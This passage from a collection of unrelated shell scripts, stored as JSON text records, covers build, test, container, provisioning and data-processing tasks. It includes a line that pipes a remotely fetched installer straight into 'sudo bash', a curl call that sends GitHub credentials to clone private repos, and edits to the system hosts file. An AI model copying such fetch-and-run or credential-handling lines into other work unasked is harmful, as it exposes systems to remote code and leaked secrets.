log files and a fresh copy of the KDC and kadmind,\n# and a fresh 524d if available.\nfor test in ${@:-\"$testdir\"/0*} ; do\n\tif ! test -s $test/run.sh ; then\n\t\tcontinue\n\tfi\n\tif ! $test_addresses ; then\n\t\tif test -r $test/uses_addresses ; then\n\t\t\techo Skipping address manipulating test `basename \"$test\"`.\n\t\t\tcontinue\n\t\tfi\n\tfi\n\tif ! $test_krb4 ; then\n\t\tif test -r $test/uses_v4 ; then\n\t\t\techo Skipping v4-specific test `basename \"$test\"`.\n\t\t\tcontinue\n\t\tfi\n\tfi\n\techo -n `basename \"$test\"` ...\" \"\n\ttest_kdcinitdb\n\ttest_kdcprep\n\tmeanwhile \"$run_kdc\" \"$run_kadmind\" \"$run_krb524d\" \"$test/run.sh\" > $test/stdout 2> $test/stderr\n\tif test -s $test/stdout.expected ; then\n\t\tif ! cmp -s $test/stdout.expected $test/stdout ; then\n\t\t\techo \"\"\n\t\t\tdiff -u $test/stdout.expected $test/stdout | sed \"s|$testdir/||g\"\n\t\t\techo \"Test $test stdout unexpected error!\"\n\t\t\texit 1\n\t\tfi\n\t\tif ! cmp -s $test/stderr.expected $test/stderr ; then\n\t\t\techo \"\"\n\t\t\tdiff -u $test/stderr.expected $test/stderr | sed \"s|$testdir/||g\"\n\t\t\techo \"Test $test stderr unexpected error!\"\n\t\t\texit 1\n\t\tfi\n\tfi\n\techo OK\ndone"} {"text": "#!/bin/sh\n\n# Helper script with a familiar name to run auto* on a development tree.\nsh `dirname $0`/build_posix/reconf"} {"text": "#!/bin/bash\n\npath=c:/windows/system32/drivers/etc/hosts\n\nminikube=$(minikube ip)\npostgis=$(kubectl describe service openftth-postgis -n openftth | grep NodePort | grep -o '[0-9]\\+')\n\nkafka=$(kubectl describe service openftth-kafka-cluster-kafka-external-bootstrap -n openftth | grep NodePort | grep -o '[0-9]\\+')\n\necho \"Exporting postgis port $postgis with netsh\"\nnetsh interface portproxy add v4tov4 listenport=5000 listenaddress=127.65.43.25 connectport=$postgis connectaddress=$minikube\n\necho \"Exporting kafka external port $kafka with netsh\"\nnetsh interface portproxy add v4tov4 listenport=9000 listenaddress=127.65.43.25 connectport=$kafka connectaddress=$minikube\n\nsed -i '/openftth/d' $path\necho \"127.65.43.25 openftth\" >> $path"} {"text": "#!/bin/bash\n#!!!This is for Internal use only use at your own risk\n#optional change working_dir\n# working_dir=${1-$(pwd)}\n# cd $working_dir\n\nGHUSER=\"\"\nGITHUB_API_PASSWORD=\"\"\nrepo_list=$(curl -S --user ${GHUSER}:${GITHUB_API_PASSWORD} \\\n https://api.github.com/user/repos?visibility=private |\n grep -e 'clone_url*' | cut -d \\\" -f 4)\n\nfor repo in $repo_list; do\n echo \"Repo found: $repo\"\n git remote set-url $repo\n git clone $repo\ndone"} {"text": "#!/bin/zsh -eu\n\n# https://gist.github.com/misraX/7ff0483ecaf84d476c194730740d6abe\n\necho -n \"Input work directory (default to home) >> \"\nread WORKDIR\necho\ntest -z \"$WORKDIR\" && WORKDIR=~\ntest ! -e \"$WORKDIR\" && mkdir \"$WORKDIR\"\nLOGFILE=\"$PWD\"/\"$WORKDIR\"/vim/viminstall.log\n\ncd \"$WORKDIR\"\ntest ! -e vim && git clone https://github.com/vim/vim.git\ncd vim\ngit pull\nmake distclean # if you build Vim before\n#PYTHON3CONF=/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/config-3.6m-darwin # for python3 installed by offcial website\nPYTHON3CONF=/usr/local/Cellar/python@3.9/3.9.2_2/Frameworks/Python.framework/Versions/3.9/lib/python3.9/config-3.9-darwin # for python3 installed using homebrew\n./configure \\\n --enable-multibyte \\\n --enable-perlinterp=dynamic \\\n --enable-rubyinterp=dynamic \\\n --with-ruby-command=`which ruby` \\\n --enable-python3interp \\\n --with-python3-config-dir=\"$PYTHON3CONF\" \\\n --enable-cscope \\\n --enable-gui=auto \\\n --with-features=huge \\\n --enable-fontset \\\n --enable-largefile \\\n --disable-netbeans \\\n --enable-fail-if-missing \\\n --prefix=/usr/local | tee \"$LOGFILE\"\n # --with-x \\ # X11 is no longer included with Mac. https://support.apple.com/en-gb/HT201341\necho\necho -n \"OK to make? Hit Enter to continue.\"; read A\nmake >> \"$LOGFILE\"\ncd src\n./vim --version\necho -n \"OK to make install? Hit Enter to continue.\"; read A\nVIMPATH=`which vim`\nif [ -n $VIMPATH ]; then\n BKUPPATH=\"$VIMPATH\"`date +%s`\n sudo cp -p \"$VIMPATH\" \"$VIMPATH\"`date +%s` # back up current vim\n echo \"Old vim was backed up to $BKUPPATH.\"\nfi\nsudo make install >> \"$LOGFILE\"\necho\necho \"Done!! Log file: $LOGFILE\"\n\nexit"} {"text": "tools/darwin-power9-env.sh\n#!/bin/bash\n#--------------------------------------------------------------------------------------------------#\n# Darwin Environment setups (Power9)\n#--------------------------------------------------------------------------------------------------#\n\n# shellcheck source=tools/darwin-env.sh\nsource \"${draco_script_dir:-unknown}/darwin-env.sh\"\n\n# symlinks will be generated for each machine that point to the correct installation directory.\nexport siblings=\"darwin-power9\"\n\n# The following toolchains will be used when releasing code:\nenvironments=\"p9gcc930env p9xl16117env\"\n\n#--------------------------------------------------------------------------------------------------#\n# Specify environments (modules)\n#--------------------------------------------------------------------------------------------------#\n\ncase \"${ddir}\" in\n\n #---------------------------------------------------------------------------#\n draco-7_10* | draco-7_11*)\n function p9gcc930env()\n {\n export darwin_queue=\"-p power9-asc -A asc-priority\"\n run \"module purge\"\n run \"module use --append /projects/draco/Modules\"\n run \"module load draco/power9-gcc930-smpi\"\n run \"module list\"\n\n # work around for known openmpi issues: https://re-git.lanl.gov/draco/draco/-/issues/938\n # eliminates warnings: \"there are more than one active ports on host\"\n\n # export OMPI_MCA_btl=^openib\n UCX_NET_DEVICES=mlx5_0:1\n UCX_WARN_UNUSED_ENV_VARS=n\n OMPI_MCA_pml=ob1\n OMPI_MCA_btl=self,vader\n\n CC=$(which gcc)\n FC=$(which gfortran)\n MPIEXEC_EXECUTABLE=$(which mpirun)\n unset MPI_ROOT\n export CXX\n export CC\n export FC\n export MPIEXEC_EXECUTABLE\n export UCX_NET_DEVICES\n export UCX_WARN_UNUSED_ENV_VARS\n export OMPI_MCA_pml\n export OMPI_MCA_btl\n }\n\n function p9xl16117env()\n {\n export darwin_queue=\"-p power9-asc -A asc-priority\"\n run \"module purge\"\n echo \"VENDOR_DIR = $VENDOR_DIR\"\n echo \"DRACO_ARCH = $DRACO_ARCH\"\n run \"module use --append /projects/draco/Modules\"\n run \"module load draco/power9-xl16117-smpi\"\n run \"module list\"\n\n # work around for known openmpi issues: https://re-git.lanl.gov/draco/draco/-/issues/938\n # warnings: \"there are more than one active ports on host\"\n\n # export OMPI_MCA_btl=^openib\n UCX_NET_DEVICES=mlx5_0:1\n UCX_WARN_UNUSED_ENV_VARS=n\n OMPI_MCA_pml=ob1\n OMPI_MCA_btl=self,vader\n MPIEXEC_EXECUTABLE=$(which mpirun)\n unset MPI_ROOT\n export UCX_NET_DEVICES\n export UCX_WARN_UNUSED_ENV_VARS\n export OMPI_MCA_pml\n export OMPI_MCA_btl\n export MPIEXEC_EXECUTABLE\n }\n ;;\n\n *) die \"darwin-power9-env.sh:: did not set any build environments, ddir = $ddir.\" ;;\nesac\n\n#--------------------------------------------------------------------------------------------------#\n# Sanity check\n#--------------------------------------------------------------------------------------------------#\n\nfor env in ${environments}; do\n if [[ $(fn_exists \"$env\") -gt 0 ]]; then\n if [[ \"${verbose:-false}\" != false ]]; then echo \"export -f $env\"; fi\n export -f \"${env?}\"\n else\n die \"Requested environment $env is not defined.\"\n fi\ndone\n\n#--------------------------------------------------------------------------------------------------#\n# End darwin-power9-env.sh\n#--------------------------------------------------------------------------------------------------#"} {"text": "sirianni/opencensus-proto\n#!/usr/bin/env zsh\n\n# Run this if opencensus-proto is checked in the GOPATH.\n# go get -d github.com/census-instrumentation/opencensus-proto\n# to check in the repo to the GOAPTH.\n#\n# This also requires the grpc-gateway plugin.\n# See: https://github.com/grpc-ecosystem/grpc-gateway#installation\n#\n# To generate:\n#\n# cd $(go env GOPATH)/census-instrumentation/opencensus-proto\n# ./mkgogen.sh\n\nOUTDIR=\"./doc\"\n\n/opt/protobuf/bin/protoc \\\n -I=. \\\n -I=/opt/protobuf/include \\\n --doc_out=$OUTDIR \\\n --doc_opt=html,index.html \\\n **/*.proto"} {"text": "rdkcmf/rdk-sysint\n#!/bin/sh\n##############################################################################\n# If not stated otherwise in this file or this component's LICENSE file the\n# following copyright and licenses apply:\n#\n# Copyright 2020 RDK Management\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n##############################################################################\n\n\n# Defaults can be overridden in this file\nINIT_SCRIPT_DEFAULTS_FILE=\"/etc/include.properties\"\n\n# Load alternate configuration if exists\nif [ -f $INIT_SCRIPT_DEFAULTS_FILE ]; then\n . $INIT_SCRIPT_DEFAULTS_FILE\nfi\n\n. /etc/device.properties\n. $RDK_PATH/utils.sh\n\nLOGFILE=$LOG_PATH/lighttpd.log\n\nmkdir -p /opt/www\ncp -a /opt_back/* /opt/\nrm -rf /opt/www/htmldiag\n\nif [ -d /htmldiag2 ]; then\n rm -rf /opt/www/htmldiag2\nfi\n\nif [ -d /opt/www/xrehtml ]; then\n rm -rf /opt/www/xrehtml\nfi\nif [ -d /opt/www/xrehtml_yocto ]; then\n rm -rf /opt/www/xrehtml_yocto\nfi\n\nif [ \"$WHITEBOX_ENABLED\" == \"true\" ]; then\n . /etc/wbdevice.conf\n mkdir -p $wbpath\n\n lighttpd -m /usr/local/lib -f /etc/lighttpd.conf\n\n if [ ! -f /etc/wbdevice.conf ] || [ ! -f /etc/wbdevice ]; then\n echo \"wbdevice service cannot start\"\n exit 1\n else\n if [ ! -s $wbpath/wbmac.dat ] ; then\n\t echo \"creating $wbpath/wbmac.dat\"\n\t echo -n $(getEstbMacAddress) > $wbpath/wbmac.dat\n fi\n /usr/local/bin/spawn-fcgi -fcgi /etc/wbdevice -a 127.0.0.1 -p 9620 &\n # Dual activation steps for delia\n if [ \"$DEVICE_TYPE\" = \"hybrid\" ]; then\n if [ -f /opt/enable_delia_dual ] && [ \"$BUILD_TYPE\" != \"prod\" ]; then\n\t . /etc/wbdevice2.conf\n\t mkdir -p $wbpath\n \t ifconfig | grep 'eth1' | tr -s ' ' | cut -d ' ' -f5 | tr -d '\\r\\n' > $wbpath/wbmac.dat\n\t WB_CONF_FILE=/etc/wbdevice2.conf WB_LOG_FILE=$LOG_PATH/wbdevice2.log spawn-fcgi -fcgi /etc/wbdevice -a 127.0.0.1 -p 9621 &\n fi\n fi\n\n if [ -x /etc/authservice.sh ]; then\n\t /etc/authservice.sh start\n fi\n fi\nelse\n lighttpd -m /usr/local/lib -f /etc/lighttpd.conf\n \n if [ -x /etc/authservice.sh ]; then\n /etc/authservice.sh start\n fi\nfi"} {"text": "export PYTHONPATH+=${PYTHONPATH:+:}$HOME/bin/python"} {"text": "#!/bin/bash\ncargo build-bpf\nsolana program deploy --program-id target/deploy/dispatch-keypair.json target/deploy/dispatch.so"} {"text": "#!/usr/bin/env bash\n\ndocker run -p 8080:8080 \\\n -e KEYCLOAK_ADMIN=admin \\\n -e KEYCLOAK_ADMIN_PASSWORD= \\\n --name denhac \\\n quay.io/keycloak/keycloak-x:latest \\\n start-dev"} {"text": "0\n#!/bin/bash\n\nipython notebook --no-browser --ip=* --port=8889 --ip=*"} {"text": "sudo docker stop nagios4\nsudo docker rm nagios4\n\nsudo docker run --name nagios4 \\\n -it --restart unless-stopped \\\n -e MAIL_RELAY_HOST=\"172.17.31.10\" \\\n -e MAIL_FROM=\"\" \\\n -e MAIL_INET_PROTOCOLS=\"ipv4\" \\\n -e NAGIOS_FQDN=\"nagios.aktivit.cz\" \\\n -e NAGIOS_TIMEZONE=\"Europe/Prague\" \\\n -v /etc/timezone:/etc/timezone:ro -v /etc/localtime:/etc/localtime:ro \\\n -h nagios.aktivit.cz \\\n -p 8082:80 \\\n nagios4\n\n\n# -v nagios-objects:/opt/nagios/etc/objects \\\n# -v nagios-var:/opt/nagios/var/ \\"} {"text": "after.sh1-10\n#!/bin/sh\n\n# If you would like to do some extra provisioning you may\n# add any commands you wish to this file and they will\n# be run after the Homestead machine is provisioned.\n\ncd /home/vagrant/code\n# Set up the testing environment\ncp .env.testing.example .env.testing\n# Set up the code style checking pre-commit hook\ncp githooks/pre-commit .git/hooks/pre-commit\ncp githooks/config-pre-commit .git/hooks/config-pre-commit\n# Set up post-merge and post-checkout hooks to manage composer and npm dependencies\ncp githooks/manage-dependencies .git/hooks/manage-dependencies\ncp githooks/post-checkout .git/hooks/post-checkout\ncp githooks/post-merge .git/hooks/post-merge\n# Make sure composer is completely up to date\nsudo composer self-update\nsudo apt update\nyes | sudo apt install htop\nyes | sudo apt autoremove\ncomposer install\n# Generate the application security key\nphp artisan key:generate\n# Reset the database and seeds\nphp artisan migrate:refresh --seed\n# Install the socket.io server globally for laravel echo\nsudo npm install -g --unsafe-perm laravel-echo-server\n# Make sure all npm packages are installed\nnpm install\n# Run the front end assets\nnpm run dev\n# Set up supervisor for the echo server and horizon queue manager\nsudo cp supervisor/horizon.conf /etc/supervisor/conf.d/horizon.conf\nsudo cp supervisor/echo-server.conf /etc/supervisor/conf.d/echo-server.conf\nsudo cp supervisor/npm-watch.conf /etc/supervisor/conf.d/npm-watch.conf\nsudo supervisorctl reread\nsudo supervisorctl update\ncd"} {"text": "wget -O /tmp/uwsgi.tar.gz http://projects.unbit.it/downloads/uwsgi-1.2.3.tar.gz\n\nmkdir /tmp/uwsgi\ntar -C /tmp/uwsgi -zxvf /tmp/uwsgi.tar.gz\nmv /tmp/uwsgi/uwsgi-1.2.3/* /tmp/uwsgi\n\nmake -C /tmp/uwsgi/\ncp /tmp/uwsgi/uwsgi /usr/sbin/\nrm -rf /tmp/uwsgi\nrm -rf /tmp/uwsgi.tar.gz"} {"text": "ruinunca/SimDialrun.sh\n#!/bin/bash\n\nset -exu\n\nfor idx in 0 1 2 3 4 5 6 7 8 9; do\n\t# # generate the training & test data\n\tpython multiple_domains.py $idx 1500\n\n\t# # generate the adaptation data\n\tfor data_size in 15; do\n\t\tpython multiple_domains.py $idx $data_size\n\n\t\tcd ./1500_data_fixed_${idx}/\n\n\t\t# # combine dialog log\n\t\tcat restaurant-MixSpec-1500.json weather-MixSpec-1500.json bus-MixSpec-1500.json > r_w_b.json\n\t\tsed -i 's/\\]\\[/,/g' r_w_b.json\n\t\tcat r_w_b.json movie-MixSpec-${data_size}.json > r_w_b_${data_size}m.json\n\t\tsed -i 's/\\]\\[/,/g' r_w_b_${data_size}m.json \n\n\n\t\t# # combine database\n\t\tcat restaurant-MixSpec-1500-DB.json weather-MixSpec-1500-DB.json bus-MixSpec-1500-DB.json >r_w_b-DB.json \n\t\tsed -i 's/\\]\\[/,/g' r_w_b-DB.json\n\t\tcat r_w_b-DB.json movie-MixSpec-${data_size}-DB.json > r_w_b_${data_size}m-DB.json \n\t\tsed -i 's/\\]\\[/,/g' r_w_b_${data_size}m-DB.json\n\n\n\t\t# # combine OTGY(slot values) file\n\t\tif [ -f \"../1500_data_fixed_0/r_w_b-OTGY.json\" ]; then\n\t\t\tcp -f ../1500_data_fixed_0/r_w_b-OTGY.json ./\n\t\telse\n\t\t\tpython3 ../combine_domain.py -data_path ./ -target_domain ''\n\t\tfi\n\n\t\tif [ -f \"../1500_data_fixed_0/r_w_b_${data_size}m-OTGY.json\" ]; then\n\t\t\tcp -f ../1500_data_fixed_0/r_w_b_${data_size}m-OTGY.json ./r_w_b_${data_size}m-OTGY.json\n\t\telse\n\t\t\tpython3 ../combine_domain.py -data_path ./\n\t\tfi\n\n\t\tcd ../\n\n\tdone\ndone"} {"text": "0\nZOOKEEPER_INSTALL=$HOME/zookeeper\n\nexport ZOOKEEPER_INSTALL\n\nZOOCFGDIR=$HOME/.zookeeper/conf\n\nexport ZOOCFGDIR\n\nPATH=$PATH:$ZOOKEEPER_INSTALL/bin"} {"text": "TERMUX_PKG_HOMEPAGE=https://gstreamer.freedesktop.org/\nTERMUX_PKG_DESCRIPTION=\"GStreamer base plug-ins\"\nTERMUX_PKG_VERSION=1.10.2\nTERMUX_PKG_SRCURL=https://gstreamer.freedesktop.org/src/gst-plugins-base/gst-plugins-base-${TERMUX_PKG_VERSION}.tar.xz\nTERMUX_PKG_DEPENDS=\"gstreamer\"\nTERMUX_PKG_EXTRA_CONFIGURE_ARGS=\"--disable-tests --disable-examples\""} {"text": "#!/usr/bin/env bash\n\n# =========================\n# Arguments\n\nPROCNAME=$1\n\nif [ $# -ne 1 ]; then\n echo \"Usage: $0 \"\n exit 1\nfi\n\n# =========================\n# Configuration\n\nBASE_DIR=../..\nELF_TO_HEX=$BASE_DIR/TV-hostside/elf_to_hex\nTEST_DIR=$BASE_DIR/riscv-tests\nRESULTS_DIR_BASE=Logs/$PROCNAME\nPF='pass fail'\n\nif [ `echo $PROCNAME | grep -c \"_p1\"` -gt 0 ]; then\n XLEN=32\n BOOTROM=TV_bootrom_P1.hex\nelse\n XLEN=64\n BOOTROM=TV_bootrom_P2.hex\nfi\n\nTRACE_CHECKER=$BASE_DIR/TV-hostside/TV-trace_checker_$PROCNAME\necho \"Checker is TV-trace_checker_$PROCNAME\"\n\nOUTDIR=./tmp\nmkdir -p $OUTDIR\n\nfor e in $PF; do\n for f in `ls $RESULTS_DIR_BASE/$e | grep -E \"\\.trace_data$\" | sort`; do\n\techo\n\tTEST_NAME=\"$(basename $f .trace_data)\"\n\tTEST_MEMHEX=$OUTDIR/$TEST_NAME.memhex\n\tELF_TO_HEX_LOG=$OUTDIR/elf_to_hex.log\n\tTEST_TV_LOG=$RESULTS_DIR_BASE/$e/$TEST_NAME.tv_log\n\tTEST_FILENAME=$TEST_DIR/isa/$TEST_NAME\n\n\techo \"Found '$f' ...\"\n\t$ELF_TO_HEX \\\n\t --bytes-per-word 4 \\\n\t --abs-addressing \\\n\t --base-addr 0x80000000 \\\n\t --mem-size 0x80000000 \\\n\t $TEST_FILENAME \\\n\t $TEST_MEMHEX \\\n\t >$ELF_TO_HEX_LOG 2>&1\n\tif [ $? -ne 0 ]; then\n\t echo 'UNEXPECTED: Failure running elf_to_hex'\n\t exit 1\n\tfi\n\trm -f symbol_table.txt\n\n\t# Run the TV Engine and record its output to a file\n\techo 'Running the trace checker'\n\t$TRACE_CHECKER \\\n\t --show-trace \\\n\t --show-state \\\n\t -b $BOOTROM \\\n\t -m $TEST_MEMHEX \\\n\t --start-pc 0x70000000 \\\n\t $RESULTS_DIR_BASE/$e/$f \\\n\t >$TEST_TV_LOG 2>&1\n\tif [ $? -ne 0 ]; then\n\t echo 'UNEXPECTED: Failure running the trace checker'\n\t exit 1\n\tfi\n\n\tgrep -q -i -E \\(compare\\|error\\|warning\\) $TEST_TV_LOG\n\tretVal=$?\n\tif [ $retVal -eq 0 ]; then\n\t echo 'FAIL: TV log has mismatches'\n\tfi\n done\ndone\n\n# TODO: Return non-zero if any tests didn't PASS?\nexit 0\n# ========================="} {"text": "0\n#!/bin/bash\npython locale_gen_dict.py ../src/ locale_english.json"} {"text": "conda-forge/exitwavereconstruction-feedstock\n#!/bin/bash\ncmake -G\"Unix Makefiles\" \\\n -IFLAGS=\"-I${PREFIX}/include\" \\\n -DCMAKE_INSTALL_PREFIX=${PREFIX} \\\n -DCMAKE_CXX_FLAGS=${CXXFLAGS} \\\n -DCMAKE_C_FLAGS=${CFLAGS} \\\n -DGCC_SYSTEM_TYPE=\"\" \\\n -DC++_STANDARD=C++11 \\\n -DCMAKE_BUILD_TYPE=Release \\\n -DDYNAMIC_LINKING=1 \\\n -DPARSE_GCC_ERRORS=1 \\\n -DUSE_OPENMP=1 \\\n -DUSE_FFTW=1 \\\n -DUSE_BOOST=1 \\\n -DUSE_OPENCL=1 \\\n -DUSE_TIFF=1 \\\n -DUSE_DOXYGEN=0 \\\n -DUSE_CIMG=1 \\\n Src\nmake -j${CPU_COUNT}\nmake test\nmake install\n\nmv ${PREFIX}/bin/projects/ExitWaveReconstruction/Reconstruction ${PREFIX}/bin\nmv ${PREFIX}/bin/tools/image/converter/convert* ${PREFIX}/bin\n\nrm -rf ${PREFIX}/bin/tools\nrm -rf ${PREFIX}/bin/projects\nrm -rf ${PREFIX}/bin/selfTest"} {"text": "#!/bin/bash\nset -eo pipefail\n\nNAMESPACE=${1}\n\nkubectl create secret generic services \\\n --namespace \"${NAMESPACE}\" \\\n --from-literal=contact_api_host=\"${CONTACT_API_HOST}\" \\\n --from-literal=contact_api_protocol=\"${CONTACT_API_PROTOCOL}\" \\\n --from-literal=menu_api_host=\"${MENU_API_HOST}\" \\\n --from-literal=menu_api_protocol=\"${MENU_API_PROTOCOL}\" \\\n --from-literal=merch_api_host=\"${MERCH_API_HOST}\" \\\n --from-literal=merch_api_protocol=\"${MERCH_API_PROTOCOL}\" \\\n --from-literal=users_api_host=\"${USERS_API_HOST}\" \\\n --from-literal=users_api_protocol=\"${USERS_API_PROTOCOL}\""} {"text": "okleinschmidt/kolla\n#!/bin/bash\n\n# Create log and data directories, with appropriate permissions\nMONASCA_LOG_DIR=\"/var/log/kolla/monasca\"\nMONASCA_DATA_DIR=\"/var/lib/monasca-thresh/data\"\nMONASCA_WORKER_DIR=\"/var/lib/monasca-thresh/worker-artifacts\"\nif [[ ! -d \"$MONASCA_LOG_DIR\" ]]; then\n mkdir -p $MONASCA_LOG_DIR\nfi\nif [[ ! -d \"$MONASCA_DATA_DIR\" ]]; then\n mkdir -p $MONASCA_DATA_DIR\nfi\nif [[ ! -d \"$MONASCA_WORKER_DIR\" ]]; then\n mkdir -p $MONASCA_WORKER_DIR\nfi\nif [[ $(stat -c %U:%G ${MONASCA_LOG_DIR}) != \"monasca:kolla\" ]]; then\n chown monasca:kolla ${MONASCA_LOG_DIR}\nfi\nif [[ $(stat -c %U:%G ${MONASCA_DATA_DIR}) != \"monasca:kolla\" ]]; then\n chown monasca:kolla ${MONASCA_DATA_DIR}\nfi\nif [[ $(stat -c %U:%G ${MONASCA_WORKER_DIR}) != \"monasca:kolla\" ]]; then\n chown monasca:kolla ${MONASCA_WORKER_DIR}\nfi\nif [[ $(stat -c %a ${MONASCA_LOG_DIR}) != \"755\" ]]; then\n chmod 755 ${MONASCA_LOG_DIR}\nfi\nif [[ $(stat -c %a ${MONASCA_DATA_DIR}) != \"755\" ]]; then\n chmod 755 ${MONASCA_DATA_DIR}\nfi\nif [[ $(stat -c %a ${MONASCA_WORKER_DIR}) != \"755\" ]]; then\n chmod 755 ${MONASCA_WORKER_DIR}\nfi\n\n# Delete the contents of data and worker-artifacts directories as\n# Apache Storm doesn't clear temp files unless shutdown gracefully.\nif [[ $(ls -Ab ${MONASCA_DATA_DIR}) != \"\" ]]; then\n find ${MONASCA_DATA_DIR} -mindepth 1 -delete\nfi\nif [[ $(ls -Ab ${MONASCA_WORKER_DIR}) != \"\" ]]; then\n find ${MONASCA_WORKER_DIR} -mindepth 1 -delete\nfi\n\n. /usr/local/bin/kolla_monasca_extend_start"} {"text": "100-1000\n#!/bin/bash\n\nVERBOSE=0\nif [[ $1 == \"-v\" ]] || [[ $1 == \"--verbose\" ]]; then\n VERBOSE=1\nfi\n\nfor f in $(find test -name '*.py'); do\n if [[ $VERBOSE -eq 1 ]]; then\n echo \"[Condensa Test] $f\"\n fi\n python3 $f\ndone"} {"text": "weizy0219/dlt645Driver\n#!/bin/bash\necho 'start to check node env:'\n if ! type node 2>/dev/null || [[ `node -v` != 'v8.17.0' ]] ; then\n echo 'node Running Enviroment Error, start to build...'\n wget -qO- https://deb.nodesource.com/setup_10.x | sudo -E bash -\n sudo apt-get install -y nodejs\n echo 'Node install success full'\n echo 'Install production package support'\n npm install -g cnpm --registry=https://registry.npm.taobao.org\n cnpm install --production\n echo 'success'\n fi\necho 'end'"} {"text": "#!/usr/bin/env bash\n\nfor I in {1..100}; do\n if (( $I % 15 == 0 )); then\n echo \"FizzBuzz\"\n elif (( $I % 3 == 0 )); then\n echo \"Fizz\"\n elif (($I % 5 == 0 )); then\n echo \"Buzz\"\n else\n echo \"$I\"\n fi\ndone"} {"text": "#!/bin/bash\nset -eu -o pipefail\n\n# Vagrant installation script for creating VM to use in the\n# edX variant analysis course, PH525.6x:\n# https://www.edx.org/course/case-study-variant-discovery-genotyping-harvardx-ph525-6x\n\n# Base system\nsudo apt-get update\nsudo apt-get install -y build-essential zlib1g-dev wget curl python-setuptools git\nsudo apt-get install -y openjdk-7-jdk openjdk-7-jre ruby libncurses5-dev libcurl4-openssl-dev libbz2-dev unzip pigz bsdmainutils\nsudo apt-get install -y python-pip python-dev\nsudo pip install fabric\n\n# CloudBioLinux\ncd /vagrant\nsudo chown -R vagrant:vagrant /usr/local\ngit clone https://github.com/chapmanb/cloudbiolinux.git\nfab -H localhost install_biolinux:flavor=edx_course\n# Need to hack cmake (to build 32bit): brew uninstall --force cmake && brew install cmake --without-docs\n#\n# GEMINI\nwget https://raw.github.com/arq5x/gemini/master/gemini/scripts/gemini_install.py\npython gemini_install.py /usr/local /usr/local/share/gemini --nosudo --nodata --notools\n\n# Copy snpEff hg19 file from existing bcbio installation\n\n# cleanup\nrm -rf ~/.cache/Homebrew\nrm -rf /usr/local/share/gemini/gemini\n/usr/local/share/gemini/anaconda/bin/conda clean --yes --tarballs\nsudo apt-get clean\nsudo rm -rf /var/lib/apt/lists/*\n\n# On VM -- Compact space: http://andrewdeponte.com/2013/10/29/shrinking-vagrant-linux-boxes.html\nsudo dd if=/dev/zero of=wipefile bs=1024x1024; rm wipefile\n# Afterwards, clone and export:\n# vagrant halt\n# virtualbox\n# - Select vagrant image\n# - Machine -> Clone to new VirtualMachine\n# - File -> Export as OVA"} {"text": "#!/bin/sh\n\nif [ \"$1\" == \"\" ]; then\n\techo \"Usage: `basename $0` ip name\"\n\texit 1\nfi\nif [ \"$2\" == \"\" ]; then\n\techo \"Usage: `basename $0` ip name\"\n\texit 1\nfi\n./fclean\nhdlmake\nmake\nif [ $? -eq 0 ]; then\n bitgen -w -g Binary:Yes -intstyle ise top_level.ncd\n #scp \"./top_level.bin\" \"root@$1:/root/$2.bin\"\nelse\n echo \"FAIL TO MAKE\"\nfi"} {"text": "#!/bin/bash\n\necho 'Hello CDK from Lambda sh'\n\nexit 0"} {"text": "add-wavfile-tags/add-tag-template.sh\n#!/bin/sh\ntagwriter \\\n -R \"title\" \"JJ1BDX_Z_9999kHz_2021-MM-DD_HH-MM-SS\" \\\n -R \"artist\" \"JJ1BDX\" \\\n -R \"album\" \"December 2021 Eclipse\" \\\n -R \"year\" \"2021\" \\\n -R \"comment\" \"\" \\\n -R \"track\" \"1\" \\\n -R \"genre\" \"Grape 1 with GPSDO\" \\\n -R \"AGC\" \"Off\" \\\n -R \"ALBUM\" \"December 2021 Eclipse\" \\\n -R \"ANTENNA\" \"1m-length 30m-band whip at 8m height above the ground\" \\\n -R \"COUNTRY\" \"Japan\" \\\n -R \"DATE\" \"2021\" \\\n -R \"ELEVATION_(M)\" \"Put elevation here\" \\\n -R \"EMAIL\" \"PUT EMAIL HERE\" \\\n -R \"FREQUENCY\" \"10 MHz\" \\\n -R \"GENRE\" \"Grape 1 with GPSDO\" \\\n -R \"GPSDO\" \"Yes\" \\\n -R \"GRID SQUARE\" \"PM95tp\" \\\n -R \"LATITUDE\" \"Put latitude here\" \\\n -R \"LONGITUDE\" \"Put longitude here\" \\\n -R \"RIG\" \"Grape 1\" \\\n -R \"SOUND_CARD\" \"Sabrent Audio Interface\" \\\n -R \"TIME ZONE\" \"UTC +00:00\" \\\n -R \"TITLE\" \"JJ1BDX_Z_9999kHz_2021-MM-DD_HH-MM-SS\" \\\n -R \"TRACKNUMBER\" \"1\" \\\n $1"} {"text": "bash-files/register.sh\n#!/bin/bash\n\ncurl --data \"username=$1&password=$2&email=$3\" http://localhost:8000/register/"} {"text": "# Download the Sinorhizobium and Ensifer genomes\ngrep -v 'RAC02' Input_lists/Sinorhizobium.csv > temp.txt # Remove the one odd strain\nmv temp.txt Input_lists/Sinorhizobium.csv # Rename the file\ngrep -v 'RP12G' Input_lists/Sinorhizobium.csv > temp.txt # Remove the second odd strain\nmv temp.txt Input_lists/Sinorhizobium.csv # Rename the file\ngrep -v 'JGI' Input_lists/Sinorhizobium.csv > temp.txt # Remove the second odd strain\nmv temp.txt Input_lists/Sinorhizobium.csv # Rename the file\nperl Scripts/parseGenomeList_sino.pl Input_lists/Sinorhizobium.csv # Parse the NCBI genome table to get info to download genomes\nsed -i 's/__/_/g' Input_lists/genomeList_sino.txt # Fix the double __\nsort -u -k1,1 Input_lists/genomeList_sino.txt > temp.txt # Remove duplicates\nmv temp.txt Input_lists/genomeList_sino.txt # Rename the file\nsed -i 's/_(FSM-MA)/_FSM_MA/g' Input_lists/genomeList_sino.txt # Fix formatting\nsed -i 's/RU11\\/001/RU11_011/' Input_lists/genomeList_sino.txt # Fix formatting\nsed -i 's/sp\\._/sp_/g' Input_lists/genomeList_sino.txt # Fix formatting\nsed -i 's/-/_/g' Input_lists/genomeList_sino.txt # Fix formatting\nsed -i 's/IMG_taxon/IMG-taxon/g' Input_lists/genomeList_sino.txt # Fix formatting\nsed -i 's/SfreGR64_1/SfreGR64-1/g' Input_lists/genomeList_sino.txt # Fix formatting\nmkdir Genome_files/ # Make directory\nmkdir 